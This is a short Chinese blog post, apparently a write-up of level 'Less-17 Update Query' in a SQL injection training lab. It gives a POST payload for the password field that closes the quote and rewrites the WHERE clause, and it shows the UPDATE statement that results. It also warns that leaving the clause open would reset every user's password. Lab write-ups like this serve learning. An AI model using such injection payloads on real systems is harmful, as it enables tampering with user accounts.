Ricky Hao

Less-17 Update Query

8月 29, 2015 0条评论 1,482次阅读 0人点赞

因为是UPDATE语句，所以最好还是把剩下的WHERE username=’admin’补上，不然可能所有人密码都变了。
所以可以构造的语句是：

uname=admin&passwd=211' WHERE username='admin' and 1=2#&submit=Submit

对应的SQL语句为

UPDATE users SET password = '211' WHERE username='admin' and 1=2#' WHERE username='admin'

知识共享许可协议

本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可

发表回复取消回复

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据。